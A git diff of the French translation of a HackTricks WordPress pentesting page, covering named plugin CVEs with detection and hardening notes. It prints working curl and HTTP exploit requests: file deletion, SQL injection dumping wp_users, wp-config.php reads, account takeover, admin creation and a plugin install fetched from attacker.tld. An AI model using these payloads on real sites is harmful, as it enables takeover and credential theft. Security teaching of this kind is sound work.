sanitisation** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin filesystem sans filtrage, permettant le classique `../../` traversal. #### Exploitation -Un attaquant peut supprimer n'importe quel fichier ou répertoire **sous le répertoire de base uploads** (normalement `/wp-content/uploads/`) en envoyant une seule requête HTTP POST : +Un attaquant peut supprimer n'importe quel fichier ou répertoire **sous le répertoire de base des uploads** (normalement `/wp-content/uploads/`) en envoyant une seule requête HTTP POST : ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer le *installation wizard* lors de la prochaine visite, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un admin user). +Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à lancer l'*installation wizard* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin). -D'autres cibles importantes incluent les fichiers plugin/theme `.php` (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`. +D'autres cibles impactantes incluent les fichiers plugin/theme `.php` (pour neutraliser des plugins de sécurité) ou les règles `.htaccess`. -#### Liste de contrôle de détection +#### Checklist de détection * Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). -* Concaténation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`). +* Concatenation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`). * Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`. -#### Durcissement -```php -function secure_remove_font_family() { -if ( ! is_user_logged_in() ) { -wp_send_json_error( 'forbidden', 403 ); -} -check_ajax_referer( 'litho_fonts_nonce' ); - -$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); -$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - -if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { -wp_send_json_error( 'invalid path', 400 ); -} -// … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` -> [!TIP] -> **Toujours** traitez toute opération d'écriture/suppression sur le disque comme privilégiée et vérifiez attentivement : -> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). - --- -### Escalade de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role") +### Élévation de privilèges via une restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role") -De nombreux plugins implémentent une fonctionnalité "view as role" ou de changement de rôle temporaire en enregistrant le(s) rôle(s) d'origine dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration repose uniquement sur des paramètres de requête (par ex., `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade de privilèges verticale. +Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. -Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles en se basant sur `reset-for=` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification du nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` : +Un exemple réel a été trouvé dans le Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur `reset-for=` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'exécutait ni vérification `current_user_can()` ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` : ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -514,16 +482,10 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } Pourquoi c’est exploitable - Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur. -- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de réinitialisation. -- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher une réinitialisation pour un autre nom d'utilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation cassée). +- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en appelant le chemin de reset. +- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom d’utilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation défaillante). -Attack prerequisites - -- Vulnerable plugin version with the feature enabled. -- Target account has a stale high-privilege role stored in user meta from earlier use. -- Any authenticated session; missing nonce/capability on the reset flow. - -Exploitation (example) +Exploitation (exemple) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -531,36 +493,23 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Sur les builds vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (par ex., `administrator`), entraînant une escalade de privilèges. +Sur les versions vulnérables, cela supprime les rôles actuels et restaure les rôles originaux sauvegardés (par ex., `administrator`), ce qui entraîne une élévation de privilèges. Detection checklist -- Rechercher des fonctionnalités de changement de rôle qui conservent les rôles originaux dans user meta (par ex., `_asenha_view_admin_as_original_roles`). -- Identifier les chemins de reset/restauration qui : +- Recherchez des fonctionnalités de commutation de rôle qui conservent les rôles originaux dans le user meta (par ex., `_asenha_view_admin_as_original_roles`). +- Identifiez les chemins de réinitialisation/restauration qui : - Lire les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`. -- Modifier les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`. -- Autoriser en se basant sur un tableau d'options du plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur. - -Hardening - -- Appliquer des contrôles de capacité sur chaque branche modifiant l'état (par ex., `current_user_can('manage_options')` ou plus strict). -- Exiger des nonces pour toutes les modifications de rôle/permission et les vérifier : `check_admin_referer()` / `wp_verify_nonce()`. -- Ne jamais faire confiance aux noms d'utilisateur fournis par la requête ; résoudre l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite. -- Invalider l'état des rôles originaux lors des mises à jour du profil/du rôle pour éviter la restauration obsolète de privilèges élevés : -```php -add_action( 'profile_update', function( $user_id ) { -delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` -- Envisagez de stocker un état minimal et d'utiliser des tokens limités dans le temps et protégés par capability pour les changements de rôle temporaires. +- Modifier les rôles via `add_role()` / `remove_role()` sans `current_user_can()` ni `wp_verify_nonce()` / `check_admin_referer()`. +- Autoriser sur la base d'un tableau d'options du plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur. --- -### Élévation de privilèges sans authentification via user-switching basé sur cookie sur le hook public `init` (Service Finder “sf-booking”) +### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Certains plugins connectent des helpers de user-switching au hook public `init` et dérivent l'identité depuis un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion avec n'importe quel ID utilisateur. +Certains plugins raccordent des helpers de changement d'utilisateur au hook public `init` et déterminent l'identité à partir d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, les capacités et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire. -Pattern vulnérable typique (simplifié depuis Service Finder Bookings ≤ 6.1) : +Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Pourquoi c'est exploitable -- Le hook public `init` rend le gestionnaire accessible aux utilisateurs non authentifiés (pas de garde `is_user_logged_in()`). +- Le hook public `init` rend le handler accessible aux utilisateurs non authentifiés (pas de garde `is_user_logged_in()`). - L'identité est dérivée d'un cookie modifiable par le client (`original_user_id`). -- Un appel direct à `wp_set_auth_cookie($uid)` connecte le requérant en tant que cet utilisateur sans vérification des capabilities/nonce. +- Un appel direct à `wp_set_auth_cookie($uid)` connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce. -Exploitation (sans authentification) +Exploitation (non authentifiée) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -605,32 +554,32 @@ Connection: close ``` --- -### Considérations WAF pour les CVE WordPress/plugins +### Considérations WAF pour WordPress/plugin CVEs -Les WAFs génériques en périphérie/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugins à fort impact sont des bugs de logique d'application ou d'authentification spécifiques à l'application qui ressemblent à du trafic bénin, sauf si le moteur comprend les routes WordPress et la sémantique des plugins. +Les WAFs génériques en edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des problèmes de logique/auth spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins. -Notes offensives +Offensive notes - Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. - Testez d'abord les chemins non authentifiés (AJAX `nopriv`, REST avec permissive `permission_callback`, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. -- Cas typiques à fort impact : escalade de privilèges (broken access control), arbitrary file upload/download, LFI, open redirect. +- Cas typiques à fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. -Notes défensives +Defensive notes -- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE des plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau application ou mettez à jour rapidement. -- Privilégiez des contrôles de sécurité en mode positif dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres négatifs basés sur des regex. +- Ne comptez pas sur des signatures WAF génériques pour protéger les CVEs de plugin. Implémentez des virtual patches spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement. +- Privilégiez les contrôles à sécurité positive dans le code (capabilities, nonces, strict input validation) plutôt que les filtres négatifs basés sur des regex. -## Protection WordPress +## WordPress Protection -### Mises à jour régulières +### Regular Updates -Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php: +Assurez-vous que WordPress, plugins, et themes sont à jour. Vérifiez également que la mise à jour automatique est activée dans wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -De plus, **n'installez que des plugins et thèmes WordPress fiables**. +De plus, n'installez que des plugins et thèmes WordPress fiables. ### Plugins de sécurité @@ -642,14 +591,14 @@ De plus, **n'installez que des plugins et thèmes WordPress fiables**. - Supprimez l'utilisateur par défaut **admin** - Utilisez des **mots de passe forts** et **2FA** -- Passez **périodiquement en revue** les **autorisations** des utilisateurs -- **Limitez les tentatives de connexion** pour prévenir les attaques Brute Force -- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès que depuis l'interne ou depuis certaines adresses IP. +- Passez périodiquement en revue les **permissions** des utilisateurs +- **Limit login attempts** pour prévenir les attaques Brute Force +- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès que depuis le réseau interne ou depuis certaines adresses IP. ### SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2) -Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` : +Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -662,8 +611,8 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " Problèmes introduits par cet extrait : 1. **Entrée utilisateur non assainie** – `parentid` provient directement de la requête HTTP. -2. **Concaténation de chaînes dans la clause WHERE** – pas de `is_numeric()` / `esc_sql()` / prepared statement. -3. **Accessible sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`. +2. **Concaténation de chaînes dans la clause WHERE** – pas d'utilisation de `is_numeric()` / `esc_sql()` / de requêtes préparées. +3. **Accessibilité sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`. #### Exploitation @@ -682,15 +631,15 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi. -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2) -Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via path traversal. Le sink vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()`: +Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via un path traversal. La sink vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page du CV. +`$file_name` est contrôlé par l'attaquant et concaténé **sans sanitisation**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page du CV. #### Exploitation ```bash @@ -701,9 +650,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Le serveur répond avec le contenu de `wp-config.php`, leaking DB credentials and auth keys. +Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and auth keys. -## Références +## Prise de contrôle de compte sans authentification via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) + +De nombreux themes/plugins intègrent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) accorde sa confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un contournement total de l'authentification. + +Typical flawed pattern (simplified) +```php +public function check_login() { +// ... request parsing ... +switch ($_POST['using']) { +case 'fb': /* set $user_email from verified Facebook token */ break; +case 'google': /* set $user_email from verified Google token */ break; +// other providers ... +default: /* unsupported/missing provider – execution continues */ break; +} + +// FALLBACK: trust POSTed "id" as email if provider data missing +$user_email = !empty($user_email) +? $user_email +: (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); + +if (empty($user_email)) { +wp_send_json(['status' => 'not_user']); +} + +$user = get_user_by('email', $user_email); +if ($user) { +wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user +wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); +} +wp_send_json(['status' => 'not_user']); +} +// add_action('wp_ajax_nopriv_', [$this, 'check_login']); +``` +Pourquoi c'est exploitable + +- Accès non authentifié via admin-ajax.php (wp_ajax_nopriv_… action). +- Absence de vérifications nonce/capability avant un changement d'état. +- Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l'entrée de l'attaquant. +- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse email existante. + +Exploitation (unauthenticated) + +- Prérequis : attacker peut atteindre /wp-admin/admin-ajax.php et connaît/devine un email d'utilisateur valide. +- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=. +```http +POST /wp-admin/admin-ajax.php HTTP/1.1 +Host: victim.tld +Content-Type: application/x-www-form-urlencoded + +action=&using=bogus&id=admin%40example.com +``` + +```bash +curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ +-d "action=&using=bogus&id=admin%40example.com" +``` +Expected success indicators + +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. + +Finding the action name + +- Inspecter le thème/plugin pour les enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex. framework/add-ons/social-login/class-social-login.php). +- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les gestionnaires AJAX. + +Detection checklist + +- Web logs montrant des POST non authentifiés vers /wp-admin/admin-ajax.php avec l'action social-login et id=. +- Réponses 200 contenant le JSON de succès immédiatement avant du trafic authentifié depuis la même IP/User-Agent. + +Hardening + +- Ne pas dériver l'identité à partir d'entrées client. N'accepter que les emails/IDs provenant d'un token/ID fournisseur validé. +- Exiger des nonces CSRF et des vérifications de capability même pour les helpers de login ; éviter d'enregistrer wp_ajax_nopriv_ sauf si strictement nécessaire. +- Valider et vérifier côté serveur les réponses OAuth/OIDC ; rejeter les providers manquants/invalides (pas de fallback sur POST id). +- Envisager de désactiver temporairement la connexion sociale ou de patcher virtuellement en périphérie (bloquer l'action vulnérable) jusqu'à correction. + +Patched behaviour (Jobmonster 4.8.0) + +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). + +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – mint a connection key and use it +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ +-H 'Content-Type: application/json' \ +--data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ +-H 'Content-Type: application/json' \ +-H 'X-Connection-Key: ' \ +--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` +Pourquoi c'est exploitable +- Route REST sensible protégée uniquement par une preuve d'identité à faible entropie (username) ou permission_callback manquant +- Pas d'application des capabilities ; la clé mintée est acceptée comme un contournement universel + +Detection checklist +- Grep dans le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Toute route qui émet des tokens/keys basés sur une identité fournie par la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability +- Chercher des routes ultérieures qui acceptent le token/la key générée sans vérifications de capability côté serveur + +Hardening +- Pour toute route REST privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise +- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens à courte durée de vie liés à l'utilisateur après authentification et re-vérifier les capabilities à l'utilisation +- Valider le contexte utilisateur de l'appelant (wp_set_current_user ne suffit pas seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can() + +--- + +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) + +Nonces prevent CSRF, not authorization. Si le code considère qu'un Nonce valide suffit et saute ensuite les vérifications de capability pour des opérations privilégiées (par ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de Nonce faible et atteindre RCE en installant un plugin backdooré ou vulnérable. + +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (shape depends on plugin; illustrative only) +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ +-H 'Content-Type: application/json' \ +--data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` +Detection checklist +- REST/AJAX handlers qui modifient des plugins/themes en se basant uniquement sur wp_verify_nonce()/check_admin_referer() et sans capability check +- Tout chemin de code qui définit $skip_caps = true après la validation du nonce + +Hardening +- Traitez toujours les nonces uniquement comme des tokens CSRF ; appliquez des vérifications de capability indépendamment de l'état du nonce +- Exiger current_user_can('install_plugins') et current_user_can('activate_plugins') avant d'atteindre le code d'installer +- Refuser l'accès non authentifié ; éviter d'exposer des actions AJAX nopriv pour des flux privilégiés + +--- + +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) + +Plusieurs actions depicter-* consommaient le paramètre s (search) et le concatenaient dans des requêtes SQL sans utiliser de requêtes préparées. + +- Parameter: s (search) +- Flaw: concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni de nettoyage/validation des entrées +- Impact: exfiltration de la base de données (utilisateurs, hashs), mouvement latéral + +PoC +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ +--data-urlencode 'action=depicter_search' \ +--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" +``` +Checklist de détection +- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL +- Vérifier les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s + +Durcissement +- Utiliser toujours $wpdb->prepare() or wpdb placeholders ; rejeter les métacaractères inattendus côté serveur +- Ajouter une allowlist stricte pour s et normaliser vers le charset/longueur attendus + +--- + +## Local File Inclusion non authentifiée via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) + +Accepter des chemins contrôlés par un attaquant dans un paramètre de template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois l'exécution de code si des fichiers PHP/log incluables sont chargés à l'exécution. + +- Paramètre : __kubio-site-edit-iframe-classic-template +- Faiblesse : pas de normalisation/allowlist ; traversal autorisé +- Impact : divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, PHP incluable) + +PoC – lire wp-config.php +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` +Detection checklist +- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans contrôle via realpath() +- Rechercher des traversal patterns (../) s'étendant en dehors du répertoire templates prévu + +Hardening +- Imposer des templates allowlisted ; résoudre avec realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base)) +- Normaliser les entrées ; rejeter les traversal sequences et les chemins absolus ; utiliser sanitize_file_name() uniquement pour les noms de fichier (pas pour les chemins complets) + + +## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) @@ -714,5 +854,11 @@ Le serveur répond avec le contenu de `wp-config.php`, leaking DB credentials an - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) +- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 1935ecc28..180257022 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,4 +1,4 @@ -# Valeurs & FAQ de HackTricks +# Valeurs et FAQ HackTricks {{#include ../banners/hacktricks-training.md}} @@ -7,14 +7,14 @@ > [!TIP] > Voici les **valeurs du projet HackTricks** : > -> - Offrir un accès **GRATUIT** à des ressources **ÉDUCATIVES** de hacking à **TOUT** Internet. -> - Le hacking, c'est l'apprentissage, et l'apprentissage devrait être aussi gratuit que possible. +> - Offrir un accès **GRATUIT** à des ressources **ÉDUCATIVES de hacking** à **l'ensemble d'Internet**. +> - Le hacking, c'est apprendre, et l'apprentissage devrait être aussi libre que possible. > - Le but de ce livre est de servir de **ressource éducative** complète. -> - **STOCKER** des techniques de **hacking** remarquables publiées par la communauté en donnant aux **AUTEURS ORIGINAUX** tous les **crédits**. -> - **Nous ne voulons pas le mérite des autres**, nous voulons juste conserver des astuces sympas pour tout le monde. +> - **CONSERVER** des techniques **hacking** géniales publiées par la communauté en donnant aux **AUTEURS ORIGINAUX** tous les **crédits**. +> - **Nous ne cherchons pas à récupérer la reconnaissance d'autres personnes**, nous voulons juste conserver des astuces sympas pour tout le monde. > - Nous rédigeons aussi **nos propres recherches** dans HackTricks. -> - Dans plusieurs cas, nous écrirons simplement **un résumé des parties importantes dans HackTricks** de la technique et **encouragerons le lecteur à consulter l'article original** pour plus de détails. -> - **ORGANISER** toutes les techniques de **hacking** dans le livre afin qu'elles soient **PLUS ACCESSIBLES** +> - Dans plusieurs cas, nous écrirons seulement **sur HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails. +> - **ORGANISER** toutes les techniques de hacking dans le livre pour qu'elles soient **PLUS ACCESSIBLES** > - L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus vite**
@@ -25,32 +25,32 @@ > > - **Merci beaucoup pour ces ressources, comment puis-je vous remercier ?** -Vous pouvez remercier publiquement l'équipe HackTricks pour avoir rassemblé toutes ces ressources dans un tweet en mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Si vous êtes particulièrement reconnaissant, vous pouvez aussi [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\ -Et n'oubliez pas de **donner une étoile aux projets Github !** (Trouvez les liens ci-dessous). +Vous pouvez remercier publiquement les équipes HackTricks pour avoir rassemblé toutes ces ressources en publiant un tweet mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Si vous êtes particulièrement reconnaissant vous pouvez aussi [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\ +Et n'oubliez pas de **donner une étoile aux projets GitHub !** (Trouvez les liens ci-dessous). > [!TIP] > > - **Comment puis-je contribuer au projet ?** -Vous pouvez **partager de nouveaux conseils et astuces avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant une **Pull Request** sur les pages Github respectives : +Vous pouvez **partager de nouveaux tips and tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** vers les pages Github respectives : - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -N'oubliez pas de **donner une étoile aux projets Github !** +N'oubliez pas de **donner une 